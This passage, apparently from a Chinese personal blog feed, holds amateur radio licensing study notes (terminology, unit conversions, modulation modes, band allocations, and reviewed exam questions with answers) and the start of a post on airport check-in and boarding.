align="left"><strong>昼夜模式差异大</strong></td><td align="left"><strong>中波AM广播</strong>、海事通信</td></tr></tbody></table></div><h3 id="其它关键术语："><a href="#其它关键术语：" class="headerlink" title="其它关键术语："></a>其它关键术语：</h3><div class = "md-table"><table><thead><tr><th align="left">术语</th><th align="left">英文全称</th><th align="left">中文名称</th><th align="left">核心原理与功能</th><th align="left">应用场景与特点</th></tr></thead><tbody><tr><td align="left"><strong>PTT</strong></td><td align="left">Push-To-Talk</td><td align="left">手咪按键发射</td><td align="left"><strong>手动控制发射</strong>。按住按键，电台发射；松开按键，电台接收。</td><td align="left">最基础、最可靠的通话方式。用于所有类型的对讲机通话。</td></tr><tr><td align="left"><strong>VOX</strong></td><td align="left">Voice-Operated Exchange</td><td align="left">声控发射</td><td align="left"><strong>自动控制发射</strong>。通过麦克风检测声音，超过阈值自动发射，停止说话后自动接收。</td><td align="left">解放双手，适用于业余无线电、演习、施工等场景。在嘈杂环境易误触发。</td></tr><tr><td align="left"><strong>DTMF</strong></td><td align="left">Dual-Tone Multi-Frequency</td><td align="left">双音多频</td><td align="left"><strong>信令与控制</strong>。每按一个键发送<strong>两个特定频率音调</strong>的组合，用于传输指令。</td><td align="left">远程控制中继台、选择性呼叫特定电台、传输状态信息（如GPS）。</td></tr><tr><td align="left"><strong>NFM &#x2F; WFM</strong></td><td align="left">Narrowband &#x2F; Wideband FM</td><td align="left">窄带&#x2F;宽带调频</td><td align="left"><strong>调制方式</strong>。指频率调制的<strong>带宽（频偏）</strong> 不同。NFM更窄，适用于信道带宽 <code>25kHz/12.5kHz</code>的通信信号；WFM更宽，适用于接收信道带宽 <code>180kHz左右</code>的广播信号。</td><td align="left"><strong>NFM</strong>：绝大多数对讲机，<strong>FM</strong>在<strong>V&#x2F;UHF</strong>对讲机语境下，通常就指<strong>NFM</strong>。节省频谱，抗干扰，通信距离远，音质一般。<code>此模式下收听WFM信号，声音极度失真、嘶哑，无法辨认</code>           <strong>WFM</strong>：FM广播电台，音质极好，占用带宽大，易受干扰。<code>此模式下收听NFM信号，声音小且尖细沉闷</code></td></tr><tr><td align="left"><strong>SQL (Squelch)</strong></td><td align="left">Squelch</td><td align="left">静噪</td><td align="left"><strong>基于信号强度过滤</strong>。设定一个射频信号强度阈值，只有<strong>强于</strong>该阈值的信号才能打开扬声器。</td><td align="left"><strong>消除背景噪音</strong>。避免在无信号时听到“沙沙”声。是接收机的<strong>基础过滤</strong>功能。</td></tr><tr><td align="left"><strong>CTCSS</strong></td><td align="left">Continuous Tone-Coded Squelch System</td><td align="left">亚音静噪</td><td align="left"><strong>基于编码过滤</strong>。发射时在语音中<strong>叠加一个低频单音</strong>。接收机只打开那些<strong>包含相同特定单音</strong>的信号。</td><td align="left"><strong>解决同频干扰</strong>。在共享频率上只收听己方队友，忽略其他无关信号。<strong>不能加密</strong>。</td></tr></tbody></table></div><p>👉 提示：实际通联里，常见的交流内容多围绕 <strong>ANT（天线）、TRX（收发信机）、PA（功放）、PSU（电源）、ATU（天调）</strong>，其余在技术交流或 QSL 卡上会见到。</p><h2 id="无线电常用度量单位前缀（SI-Prefixes）"><a href="#无线电常用度量单位前缀（SI-Prefixes）" class="headerlink" title="无线电常用度量单位前缀（SI Prefixes）"></a>无线电常用度量单位前缀（SI Prefixes）</h2><p>⚠️ <strong>大小写必须区分</strong>，比如 m（毫，10⁻³）≠ M（兆，10⁶）。</p><div class = "md-table"><table><thead><tr><th>前缀</th><th>符号</th><th>10 的次方</th><th>中文含义</th></tr></thead><tbody><tr><td><strong>yotta</strong></td><td>Y</td><td>10²⁴</td><td>尧他</td></tr><tr><td><strong>zetta</strong></td><td>Z</td><td>10²¹</td><td>泽它</td></tr><tr><td><strong>exa</strong></td><td>E</td><td>10¹⁸</td><td>艾可</td></tr><tr><td><strong>peta</strong></td><td>P</td><td>10¹⁵</td><td>拍</td></tr><tr><td><strong>tera</strong></td><td>T</td><td>10¹²</td><td>太</td></tr><tr><td><strong>giga</strong></td><td>G</td><td>10⁹</td><td>吉</td></tr><tr><td><strong>mega</strong></td><td>M</td><td>10⁶</td><td>兆</td></tr><tr><td><strong>kilo</strong></td><td>k</td><td>10³</td><td>千</td></tr><tr><td><strong>hecto</strong></td><td>h</td><td>10²</td><td>百（较少用）</td></tr><tr><td><strong>deca</strong></td><td>da</td><td>10¹</td><td>十（较少用）</td></tr><tr><td><strong>—</strong></td><td>—</td><td>10⁰</td><td>无前缀（基准单位）</td></tr><tr><td><strong>deci</strong></td><td>d</td><td>10⁻¹</td><td>分（较少用）</td></tr><tr><td><strong>centi</strong></td><td>c</td><td>10⁻²</td><td>厘（较少用）</td></tr><tr><td><strong>milli</strong></td><td>m</td><td>10⁻³</td><td>毫</td></tr><tr><td><strong>micro</strong></td><td>µ</td><td>10⁻⁶</td><td>微</td></tr><tr><td><strong>nano</strong></td><td>n</td><td>10⁻⁹</td><td>纳</td></tr><tr><td><strong>pico</strong></td><td>p</td><td>10⁻¹²</td><td>皮</td></tr><tr><td><strong>femto</strong></td><td>f</td><td>10⁻¹⁵</td><td>飞</td></tr><tr><td><strong>atto</strong></td><td>a</td><td>10⁻¹⁸</td><td>阿</td></tr><tr><td><strong>zepto</strong></td><td>z</td><td>10⁻²¹</td><td>仄普</td></tr><tr><td><strong>yocto</strong></td><td>y</td><td>10⁻²⁴</td><td>幺科</td></tr></tbody></table></div><p>👉 在无线电里常见的单位组合有：</p><ul><li><strong>kHz &#x2F; MHz &#x2F; GHz</strong>（频率：千赫、兆赫、吉赫）</li><li><strong>mW &#x2F; W &#x2F; kW</strong>（功率：毫瓦、瓦、千瓦）</li><li><strong>mV &#x2F; V &#x2F; kV</strong>（电压：毫伏、伏、千伏）</li><li><strong>pF &#x2F; nF &#x2F; µF</strong>（电容：皮法、纳法、微法）</li></ul><hr><p>📌 <strong>总结</strong>：</p><ul><li>电台设备常用缩写如 <strong>ANT（天线）、TRX（收发信机）、PA（功放）、PSU（电源）、ATU（天调）</strong> 等，记住即可应付大部分通联话题。</li><li>SI 前缀必须区分大小写，常见的有 <strong>k（10³）、M（10⁶）、G（10⁹）、m（10⁻³）、µ（10⁻⁶）、n（10⁻⁹）、p（10⁻¹²）</strong>。</li></ul><h2 id="📡-无线电常用换算速查表"><a href="#📡-无线电常用换算速查表" class="headerlink" title="📡 无线电常用换算速查表"></a>📡 无线电常用换算速查表</h2><h3 id="1-功率-↔-dB-对照"><a href="#1-功率-↔-dB-对照" class="headerlink" title="1. 功率 ↔ dB 对照"></a>1. 功率 ↔ dB 对照</h3><table><thead><tr><th>功率</th><th>dBW</th><th>dBm</th></tr></thead><tbody><tr><td>1 mW</td><td>-30 dBW</td><td>0 dBm</td></tr><tr><td>1 W</td><td>0 dBW</td><td>30 dBm</td></tr><tr><td>10 W</td><td>10 dBW</td><td>40 dBm</td></tr><tr><td>100 W</td><td>20 dBW</td><td>50 dBm</td></tr><tr><td>1 kW</td><td>30 dBW</td><td>60 dBm</td></tr></tbody></table><p>👉 <strong>记忆口诀</strong>：</p><ul><li>10 倍功率 &#x3D; +10 dB</li><li>2 倍功率 ≈ +3 dB</li><li>dBm &#x3D; dBW + 30</li><li>dBμ &#x3D; dBm + 30</li><li>✅ 注意：这个 +30 是 <strong>固定关系</strong>，不是直接单位换算，而是因为参考功率不同。</li></ul><h5 id="定义如下"><a href="#定义如下" class="headerlink" title="定义如下"></a>定义如下</h5><p>✅ 注意：1 W &#x3D; 1000 mW &#x3D; 1,000,000 μW</p><blockquote><p>dBW &#x3D; 10 * log₁₀(P &#x2F; 1W)<br>dBm &#x3D; 10 * log₁₀(P &#x2F; 1mW)<br>dBμ &#x3D; 10 * log₁₀(P &#x2F; 1μW)</p></blockquote><p>即，0dBW &#x3D; 30dBm &#x3D; 60dBμ</p><p>📌 <strong>应用场景</strong>：</p><ul><li>选购对讲机（5 W ≈ 37 dBm）、车台（25 W ≈ 44 dBm）、台站功放（100 W ≈ 50 dBm）。</li><li>比较设备规格书：有的写“10 W”，有的写“40 dBm”，能快速对照。</li></ul><h3 id="2-频率-↔-波长"><a href="#2-频率-↔-波长" class="headerlink" title="2. 频率 ↔ 波长"></a>2. 频率 ↔ 波长</h3><p><strong>👉 换算公式</strong>：</p><p>✅ 注意： c ≈ 3×10^8 m&#x2F;s.</p><blockquote><p>λ(m) &#x3D; c &#x2F; f(Hz)&#x3D;300 &#x2F; f(MHz)</p></blockquote><table><thead><tr><th>频率 (MHz)</th><th>波长 (m)</th></tr></thead><tbody><tr><td>3.5 MHz</td><td>85.7 m</td></tr><tr><td>7.0 MHz</td><td>42.9 m</td></tr><tr><td>14 MHz</td><td>21.4 m</td></tr><tr><td>28 MHz</td><td>10.7 m</td></tr><tr><td>50 MHz</td><td>6.0 m</td></tr><tr><td>144 MHz</td><td>2.08 m</td></tr><tr><td>430 MHz</td><td>0.698 m</td></tr><tr><td>1296 MHz</td><td>0.231 m</td></tr></tbody></table><h3 id="3-天线增益"><a href="#3-天线增益" class="headerlink" title="3. 天线增益"></a>3. 天线增益</h3><ul><li><strong>dBi</strong>：相对全向天线</li><li><strong>dBd</strong>：相对半波振子</li></ul><p>👉 <strong>换算公式</strong>：</p><blockquote><p>G(dBi) &#x3D; G(dBd) + 2.15</p></blockquote><p>若天线增益为 5 dBd，则等效于：5 + 2.15 &#x3D; 7.15 dBi</p><p>📌 <strong>应用场景</strong>：</p><ul><li>购买天线时，有的厂商写“5 dBi”，有的写“3 dBd”，要换算对比。</li><li>计算链路预算时，使用 dBi。</li></ul><h3 id="4-电平与灵敏度"><a href="#4-电平与灵敏度" class="headerlink" title="4. 电平与灵敏度"></a>4. 电平与灵敏度</h3><p><strong>dBm ↔ μV (电压)</strong>：在 50Ω 下：</p><table><thead><tr><th>电平 (dBm)</th><th>电压 (μV)</th></tr></thead><tbody><tr><td>-113 dBm</td><td>0.5 μV</td></tr><tr><td>-107 dBm</td><td>1.0 μV</td></tr><tr><td>-97 dBm</td><td>3.2 μV</td></tr><tr><td>-77 dBm</td><td>32 μV</td></tr></tbody></table><p>📌 <strong>应用场景</strong>：</p><ul><li>接收机灵敏度指标：厂家常写“-120 dBm”或“0.25 μV”。</li><li>调试电台时，对比不同接收机灵敏度。</li></ul><h3 id="🛠️-小结"><a href="#🛠️-小结" class="headerlink" title="🛠️ 小结"></a>🛠️ 小结</h3><p>业余无线电爱好者最常用的单位换算有：</p><ol><li><strong>功率 ↔ dBm&#x2F;dBW</strong>（设备功率比较）</li><li><strong>频率 ↔ 波长</strong>（天线设计与调频）</li><li><strong>天线增益 dBi ↔ dBd</strong>（天线性能对比）</li><li><strong>接收灵敏度 dBm ↔ μV</strong>（电台性能评估）</li></ol><h2 id="非电离辐射-vs-电离辐射"><a href="#非电离辐射-vs-电离辐射" class="headerlink" title="非电离辐射 vs. 电离辐射"></a>非电离辐射 vs. 电离辐射</h2><ul><li><strong>电离辐射</strong>：<ul><li><strong>是什么</strong>： 指能量极高、波长极短的辐射，如X射线、γ射线、部分紫外线。</li><li><strong>能力</strong>： 其能量足以<strong>击穿原子核外的电子，使原子发生电离</strong>。这种对细胞和DNA结构的直接破坏是致癌和引发放射病的主要原因。</li><li><strong>来源</strong>： 核辐射、CT检查、X光拍片等。</li></ul></li><li><strong>非电离辐射</strong>：<ul><li><strong>是什么</strong>： 指能量较低、波长较长的辐射。<strong>所有无线电波，包括卫星信号、手机信号、Wi-Fi、广播、微波炉微波，都属于这个范畴。</strong></li><li><strong>能力</strong>： 其能量<strong>远远不足以</strong>使原子发生电离。它最主要的作用是<strong>热效应</strong>，即使物质分子振动摩擦而产生热量。</li><li><strong>来源</strong>： 太阳光（可见光、部分紫外线）、所有家用无线设备、电力线等</li></ul></li></ul><h2 id="常考调制方式"><a href="#常考调制方式" class="headerlink" title="常考调制方式"></a>常考调制方式</h2><div class = "md-table"><table><thead><tr><th>模式类别</th><th>具体模式举例</th><th>工作原理简介</th><th>带宽</th><th>主要特点与应用场景</th></tr></thead><tbody><tr><td><strong>调幅 (AM)</strong></td><td>AM</td><td>载波<strong>幅度</strong>随音频信号变化。</td><td>~6 kHz</td><td><strong>优点</strong>：接收简单，兼容性好。 <strong>缺点</strong>：功率效率低，抗干扰差。 <strong>应用</strong>：航空波段、广播，业余中少用。</td></tr><tr><td><strong>调频 (FM)</strong></td><td>FM（宽带FM）、窄带FM (NFM)</td><td>载波<strong>频率</strong>随音频信号变化。</td><td>宽带FM ~15 kHz，NFM ~12.5 kHz</td><td><strong>优点</strong>：音质清晰，抗噪声好。 <strong>缺点</strong>：带宽占用大，不适合HF。 <strong>应用</strong>：VHF&#x2F;UHF中继通信、手台、车台。</td></tr><tr><td><strong>单边带 (SSB)</strong></td><td>LSB（低边带）、USB（高边带）</td><td><strong>去掉载波和一侧边带</strong>，仅传输单边带信息。</td><td>~2.4–3 kHz</td><td><strong>优点</strong>：功率效率高，抗干扰强，适合远程。 <strong>缺点</strong>：需要精确调谐。 <strong>应用</strong>：HF远程通联、DX、竞赛。</td></tr><tr><td><strong>等幅报 (CW)</strong></td><td>CW (莫尔斯电码)</td><td>通过<strong>开启和关闭载波</strong>传输“点”“划”。</td><td>极窄 (~150 Hz)</td><td><strong>优点</strong>：极高的效率，信噪比差时仍可解码。 <strong>缺点</strong>：需掌握电码。 <strong>应用</strong>：DX远程、弱信号、应急通信。</td></tr><tr><td><strong>数字模式 (传统)</strong></td><td>RTTY（无线电传）</td><td>使用<strong>FSK（频移键控）</strong>，两个频率分别代表“1”和“0”。</td><td>~250 Hz</td><td><strong>优点</strong>：抗干扰强，是早期数字通信代表。 <strong>缺点</strong>：速率慢。 <strong>应用</strong>：竞赛、新闻广播。</td></tr><tr><td></td><td>SSTV（慢扫描电视）</td><td>将图像编码为音频信号，通过SSB传输，解码还原图片。</td><td>~3 kHz</td><td><strong>优点</strong>：能传图像。 <strong>缺点</strong>：传输耗时长。 <strong>应用</strong>：ISS活动、业余爱好者图片通联。</td></tr><tr><td><strong>数字模式 (现代)</strong></td><td>FT8、JS8Call、WSPR</td><td>通过<strong>极窄带数字编码</strong>，计算机解码，信噪比-20dB下仍能解码。</td><td>~50 Hz</td><td><strong>优点</strong>：极弱信号通信，自动化。 <strong>缺点</strong>：交互性差，信息量少。 <strong>应用</strong>：DX、传播研究、自动报告。</td></tr><tr><td></td><td>D-STAR、C4FM、DMR</td><td>数字语音模式，将语音数字化并打包传输。</td><td>~12.5 kHz</td><td><strong>优点</strong>：音质佳，支持数据（短信、GPS）。 <strong>缺点</strong>：需专用设备，互通性差。 <strong>应用</strong>：数字中继、应急网络。</td></tr></tbody></table></div><h3 id="建议"><a href="#建议" class="headerlink" title="建议"></a>建议</h3><ol><li><strong>本地通联（VHF&#x2F;UHF）</strong>：首选 <strong>FM</strong>。音质好，操作简单。如果想尝试数字功能，可以探索 <strong>DMR</strong>、<strong>C4FM</strong> 或 <strong>D-STAR</strong>。</li><li><strong>远距离通联（HF）</strong>：语音通信绝对主力是 <strong>SSB</strong>。如果你想挑战更远的距离和更弱的信号，<strong>CW</strong> 和 <strong>FT8</strong> 等数字模式是强大工具。</li><li><strong>学习与入门</strong>：从FM开始最容易上手。但要深入业余无线电的精髓，必须掌握SSB的操作和调谐技巧。</li><li><strong>应急准备</strong>：SSB（HF）、CW、FT8 因其远距离和高效的特点，是应急通信的首选。本地则可以使用FM或数字模式。</li></ol><h2 id="专用、主要、次要任务-一览表"><a href="#专用、主要、次要任务-一览表" class="headerlink" title="专用、主要、次要任务&#96;一览表"></a>专用、主要、次要任务&#96;一览表</h2><p>常见业余 &#x2F; 卫星业余频段按“<strong>专用（业余为唯一主要） &#x2F; 主要（业余为主要之一，和其它业务共用） &#x2F; 次要（业余为次要，须让行）</strong>”进行了尽量完整的整理，并在“业余为次要”的行里补充了当时的主要业务（谁优先）。表格以 <strong>≤30 MHz</strong> 为主，同时加上几个常考的 VHF&#x2F;UHF 例子（50、144、430 MHz）供你参考：</p><div class = "md-table"><table><thead><tr><th>频段（MHz）</th><th>波段俗称</th><th>我国业务地位（业余&#x2F;卫星）</th><th>当业余为“次要”时的主要业务（谁优先）</th><th>备注 &#x2F; 拆分说明</th></tr></thead><tbody><tr><td>0.1357–0.1378</td><td>2200 m</td><td><strong>次要</strong>（业余为次要）</td><td><strong>主要：固定业务 &#x2F; 海事移动（radiobeacon&#x2F;海事）等</strong>（国际上此段对业余为次要、EIRP 限制） 。(<a href="https://en.wikipedia.org/wiki/2200-meter_band?utm_source=chatgpt.com">维基百科</a>)</td><td>WRC-07 后在多数国家作为业余次要分配（EIRP 限制）。</td></tr><tr><td>1.8–2.0</td><td>160 m</td><td><strong>主要（与其他业务共用、业余为主要之一）</strong>。(<a href="https://nxww.nx.gov.cn/bsfw/ywgl/bgxz/201808/P020220319742052081161.pdf?utm_source=chatgpt.com">宁夏无线电管理委员会</a>)</td><td>—</td><td>我国和多数地区把 1.8–2.0 列为业余主要使用（考试资料常列为“主要”）。</td></tr><tr><td>3.5–3.9</td><td>80 m</td><td><strong>主要（共用、业余为主要之一）</strong>。(<a href="https://nxww.nx.gov.cn/bsfw/ywgl/bgxz/201808/P020220319742052081161.pdf?utm_source=chatgpt.com">宁夏无线电管理委员会</a>)</td><td>—</td><td>常见短波夜间 DX 波段。</td></tr><tr><td>7.0–7.3（区域差）</td><td>40 m</td><td><strong>专用 &#x2F;（业余专用 — 即业余为唯一主要）</strong>（我国通常列为业余专用）。(<a href="https://ham.ink/c.htm?utm_source=chatgpt.com">Ham Ink</a>)</td><td>—</td><td>各区上限略有差异；考试中常记“7MHz 属业余专用”。</td></tr><tr><td>10.1–10.15</td><td>30 m</td><td><strong>次要（业余为次要）</strong>。(<a href="https://nxww.nx.gov.cn/bsfw/ywgl/bgxz/201808/P020220319742052081161.pdf?utm_source=chatgpt.com">宁夏无线电管理委员会</a>)</td><td><strong>主要：固定业务（短波链路&#x2F;固定服务）等</strong>（多数国家&#x2F;表格把 10.1–10.15 对业余为次要，固定为主要）。</td><td>WARC 30m，但在很多国家（含中国考试材料）业余为次要，要让行。</td></tr><tr><td>14.00–14.25</td><td>20 m（下部）</td><td><strong>专用 &#x2F;（业余专用）</strong>（我国把 14.00–14.25 作为业余专用）。(<a href="https://ezirmusitua.site/blog/ham-radio-level-b-questions?utm_source=chatgpt.com">三水言己</a>)</td><td>—</td><td>14.00–14.25 常被标为“专用”，14.25–14.35 则归作“主要&#x2F;共用”区段（见下行）。</td></tr><tr><td>14.25–14.35</td><td>20 m（上部）</td><td><strong>主要（业余为主要之一）</strong>。(<a href="https://ezirmusitua.site/blog/ham-radio-level-b-questions?utm_source=chatgpt.com">三水言己</a>)</td><td>—</td><td>20m 波段在 14.25–14.35 部分为共用&#x2F;主要，考试题常拆开考。</td></tr><tr><td>18.068–18.168</td><td>17 m（WARC）</td><td><strong>主要（业余为主要之一，共用）</strong>。(<a href="https://zh.wikipedia.org/zh-hans/%E4%B8%9A%E4%BD%99%E6%97%A0%E7%BA%BF%E7%94%B5%E9%A2%91%E7%8E%87%E5%88%92%E5%88%86?utm_source=chatgpt.com">维基百科</a>)</td><td>—</td><td>WARC 波段，业余通常为主&#x2F;共用（考试常列入“主要”记忆清单）。</td></tr><tr><td>21.0–21.45</td><td>15 m</td><td><strong>专用（业余专用 &#x2F; 业余为唯一主要）</strong>。(<a href="https://ezirmusitua.site/blog/ham-radio-level-b-questions?utm_source=chatgpt.com">三水言己</a>)</td><td>—</td><td>15m 在我国常标为业余专用。</td></tr><tr><td>24.89–24.99</td><td>12 m（WARC）</td><td><strong>主要（业余为主要之一）</strong>。(<a href="https://zh.wikipedia.org/zh-hans/%E4%B8%9A%E4%BD%99%E6%97%A0%E7%BA%BF%E7%94%B5%E9%A2%91%E7%8E%87%E5%88%92%E5%88%86?utm_source=chatgpt.com">维基百科</a>)</td><td>—</td><td>WARC 波段，通常为业余主要&#x2F;共用。</td></tr><tr><td>28.0–29.7</td><td>10 m</td><td><strong>专用（业余专用 &#x2F; 唯一主要）</strong>。(<a href="https://ezirmusitua.site/blog/ham-radio-level-b-questions?utm_source=chatgpt.com">三水言己</a>)</td><td>—</td><td>10m 在我国被列为业余专用（考试点）。</td></tr><tr><td><strong>（补：常考 VHF&#x2F;UHF 参照）</strong></td><td></td><td></td><td></td><td></td></tr><tr><td>50–54</td><td><code>6 m</code></td><td><strong>主要（业余为主要之一，与其它业务共用）</strong>。(<a href="https://nxww.nx.gov.cn/bsfw/ywgl/bgxz/201808/P020220319742052081161.pdf?utm_source=chatgpt.com">宁夏无线电管理委员会</a>)</td><td>—</td><td>常作为 VHF 的主要业余段（考试记忆点）。</td></tr><tr><td>144–146</td><td><code>2 m（下段）</code></td><td><strong>唯一主要 &#x2F; 专用（业余为唯一主要业务）</strong>（我国教材&#x2F;题库常强调 144–146 为业余的“唯一主要”段）。(<a href="https://nxww.nx.gov.cn/bsfw/ywgl/bgxz/201808/P020220319742052081161.pdf?utm_source=chatgpt.com">宁夏无线电管理委员会</a>)</td><td>—</td><td>144–146 常被强调为“业余的唯一主要段”（146–148 则与其它业务共用为主要）。</td></tr><tr><td>146–148</td><td><code>2 m（上段）</code></td><td><strong>主要（与其他业务共同作为主要业务）</strong>。(<a href="https://nxww.nx.gov.cn/bsfw/ywgl/bgxz/201808/P020220319742052081161.pdf?utm_source=chatgpt.com">宁夏无线电管理委员会</a>)</td><td>—</td><td>144–148 在我国整体列为 144–146 唯一主要，146–148 与其它共同主要。</td></tr><tr><td>430–440</td><td><code>70 cm</code></td><td><strong>次要（业余为次要）</strong>。(<a href="https://nxww.nx.gov.cn/bsfw/ywgl/bgxz/201808/P020220319742052081161.pdf?utm_source=chatgpt.com">宁夏无线电管理委员会</a>)</td><td><strong>主要：无线电定位（radiodetermination）与航空无线电导航（aeronautical radionavigation）</strong>（我国划分表对 430–440 此类业务为主要，业余须让行）。(<a href="https://cmiitid.cn/frequency?lower=430&upper=440&utm_source=chatgpt.com">CMIIT ID 查询</a>)</td><td>地方上会因局部存在定位&#x2F;航空导航系统而限制业余使用（各地无线电管理机关会具体指配&#x2F;限制）。</td></tr></tbody></table></div><h2 id="错题本"><a href="#错题本" class="headerlink" title="错题本"></a>错题本</h2><ol><li>在频率划分表中，当一个频段划分给业余业务或卫星业余业务和多个其他业务，并且业余业务和卫星业余业务作为<code>次要业务</code>时，业余电台应遵循的规则是：<ul><li>不得对主要业务电台产生有害干扰</li><li>不得对来自主要业务电台的有害干扰提出保护要求</li><li>可要求保护不受来自同一业务或其他次要业务电台的有害<br>干扰</li></ul></li><li>俗称的 <code>6米</code>业余波段的频率范围以及业余业务和卫星业余业务的使用状态分别为：<br>[A]50～54MHz，主要业务 </li><li>俗称的 <code>2米</code>业余波段的频率范围以及我国业余业务和卫星业余业务的使用状态分别为：<br>[A]144～146MHz为唯一主要业务，146～148MHz为主要业务</li><li>俗称的 <code>0.7米</code>业余波段的频率范围以及业余业务和卫星业余业务的使用状态分别为：<br>[A]430～440MHz，次要业务</li><li>在我国和多数其他国家的频率分配中，业余业务在 430～440MHz频段中作为次要业务与其他业务共用。这个频段中我国分配的<code>主要业务</code>是：<br>[A]无线电定位和航空无线电导航</li><li>我国分配给业余业务和卫星业余业务<code>专用</code>的频段有：<br>[A]7MHz、14MHz、21MHz、28MHz、47GHz</li><li>我国分配给业余业务和卫星业余业务与其他业务共用、并且业余业务和卫星业余业务作为<code>次要业务</code>的 1200MHz以下频段有：<br>[A]135.7kHz、10.1MHz、430MHz</li><li>VHF业余电台在<code>144MHz</code>频段进行本地联络时应<code>避免占用</code>的频率为：<br>[A]144～144.035MHz和 145.8～146MHz</li><li>UHF业余电台在<code>430MHz</code>频段进行本地联络时应<code>避免占用</code>的频率为：<br>[A]431.9～432.240MHz和 435～438MHz</li><li>我国所属的“CQ分区”有：<br>  [A]23、24、27 </li><li>“ITU分区”是 IARU的活动计算通信成绩的基础。我国所属的“ITU分区”有：<br>[A]42、43、44、50 </li><li><code>峰-峰值为 100伏</code>的正弦交流电压，其<code>有效值电压</code>为：<br>[A]约 35.4伏 【100&#x2F;2&#x2F;2的平方根】</li><li><code>峰-峰值为 100伏</code>的正弦交流电压，其<code>平均值电压</code>为：<br>[A]0 </li><li><code>峰值为 100伏</code>的正弦交流电压，其<code>有效值电压</code>为：<br>[A]约 70.7伏</li><li>一个频率为 F的简单正弦波信号的频谱包含有：<br>[A]频率为 F的一个频率分量</li><li>只包含一个频率分量的信号是：<br>[A]简单正弦波 </li><li>在整个频谱内具有连续的均匀频率分量的信号是：<br>[A]单个无限窄脉冲</li><li>假设中继台的收、发信机共用天线，上下行频率分别为 F1和 F2。要防止中继台发射机对接收机产生干扰，应该对中继台设备采取下列措施：<br>[A]在发信机与天线间串联中心频率为 F1的带阻滤波器，在收信机与天线间串接中心频率为 F2的&#96;带阻滤波器 </li><li>要防止业余 HF发射机的杂散发射干扰天线附近的电话机，应该在电话机和电话线之间串联：<br>[A]截止频率不高于 <code>1MHz</code>的<code>低通滤波器 </code></li><li>通信或家用设备的劣质开关电源会造成对无线电接收机的电磁干扰，其源头主要是：<br>[A]开关电路的谐波辐射 </li><li>杂散发射（spurious emission）是指：必要带宽之外的一个或多个频率的发射，其发射电平可降低而不致影响相应信息的传输。一台发射机，工作频率为 145.000MHz，但在 435.000MHz的频率上也有发射。这种发射属于：<br>[A]杂散发射</li><li>接收机灵敏度指标数值大小所反映的意义是：<br>[A]灵敏度指标数值越小，接收最小信号的能力越强 </li><li>在零仰角附近具有主辐射瓣的垂直接地天线，其振子的长度应为：<br>[A]1&#x2F;4波长的奇数倍</li><li>通常把垂直偶极天线或者垂直接地天线称为“全向天线”，是因为：<br>[A]它们在水平方向没有指向性，但在<code>立体空间有方向性</code></li><li>振子电气长度为 1&#x2F;4波长的垂直接地天线的最大辐射方向为：<br>[A]在水平方向没有指向性，在<code>垂直方向指向水平面</code></li><li>我国国家标准《电磁辐射防护规定》所规定的电磁辐射防护限值的公众照射基本限值，其<code>基本计量方法</code>是：<br>[A]一天 24小时内任意 6分钟内全身平均的比吸收率（SAR）应小于每千克体重限值</li><li>我国国家标准《电磁辐射防护规定》规定电磁辐射公众照射导出限值中，对环境电磁辐射场强一天 24小时内任意 6分钟内的平均值要求最严格的频率范围为：<br>[A]30MHz～3GHz</li><li>无线电波在自由空间中的传播路径损耗遵循下列规律：<br>[A]与距离的平方成正比，与频率的平方成正比</li><li>多径传播对 UHF波段或 VHF波段数据通信的影响是：<br>[A]误码率可能增加 </li><li>对于<code>400MHz以上</code>的信号，通常会使用的同轴电缆连接器是：<br>[A]N型连接器</li><li>《业余无线电台执照》有效期届满后需要继续使用的，应当在下列期限内向核发执照的无线电管理机构申请办理延续手续：<br>[A]有效期届满一个月前</li><li><code>超出核定范围使用频率</code>或者有其他违反频率管理有关规定的行为的，无线电管理机构可以根据其具体情况，给予设置业余无线电台的单位或个人下列处罚：<br>[A]责令限期改正，可以处警告或者三万元以下的罚款</li><li>无线电发射机<code>调制部件</code>的作用是：<br>[A]以<code>原始信号</code>控制射频信号的幅度、频率、相位参数</li><li>对于给定的 FM发射设备，决定其<code>射频输出</code>信号<code>实际占用带宽</code>的因素是：<br>[A]所传输信号的最高频率越高、幅度越大，射频输出占用带宽越宽 </li><li>下列哪种调制被 VHF和 UHF业余电台<code>本地通信广泛使用</code>？<br>[A]FM </li><li>以下哪种语音调制常被用于<code>长距离弱信号</code>的 VHF或 UHF联络？<br>[A]SSB</li><li>以<code>dBi</code>为单位的天线增益则是指：<br>[A]最大辐射方向辐射功率密度与<code>理想点源天线</code>最大辐射方向辐射功率密度之比的 dB值。</li><li>以<code>dBd</code>为单位的天线增益则是指：<br>[A]最大辐射方向辐射功率密度与<code>半波长振子</code>最大辐射方向辐射功率密度之比的 dB值 。</li><li>我国现行法律体系中专门针对<code>无线电管理</code>的最高法律文件及其立法机关是：<br>[A]《中华人民共和国无线电管理条例》，国务院和中央军委</li><li>我国现行法律体系中专门针对<code>业余无线电台管理</code> 的最高法律文件及其立法机关是：<br>[A]《业余无线电台管理办法》，工业和信息化部</li><li>用通常的调频方式进行话音通信，必要带宽约为：<br>[A]6.25kHz </li><li>]业余无线电通信最常用的三种基本调制方法，其缩写 <code>AM、FM和 PM</code>，它们的中文名称分别是：<br>[A]幅度调制（调幅）、频率调制（调频）、相位调制（调相）</li></ol>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
    </entry>
    
    
    
    <entry>
      <title>登机</title>
      <link href="/posts/deng-ji/"/>
      <url>/posts/deng-ji/</url>
      
        <content type="html"><![CDATA[<h2 id="值机与打印登机牌"><a href="#值机与打印登机牌" class="headerlink" title="值机与打印登机牌"></a>值机与打印登机牌</h2><p>值机就是办理登机手续，包括确认身份、安排座位、领取登机牌。登机牌是你通过安检、登机的凭证，上面有航班号、座位号、登机口等信息 。机票则是你购买运输服务的凭证，主要用于报销 。</p><p>因为你只有背包，不需要托运，所以：</p><p>如果你已线上值机并获取了电子登机牌，理论上可直接前往安检。但鉴于你是第一次乘机，建议在自助值机设备上打印一张纸质登机牌，更方便后续流程和问询。</p><p>如果未线上值机，到达机场后，前往对应航空公司的自助值机设备（分布在出发大厅），刷身份证即可选座、打印登机牌 。</p><h2 id="使用支付宝权益"><a href="#使用支付宝权益" class="headerlink" title="使用支付宝权益"></a>使用支付宝权益</h2><h3 id="快捷安检与可能的休息室："><a href="#快捷安检与可能的休息室：" class="headerlink" title="快捷安检与可能的休息室："></a>快捷安检与可能的休息室：</h3><p>打印登机牌后，请前往位于出发大厅25号门附近的“贵宾俱乐部”接待处 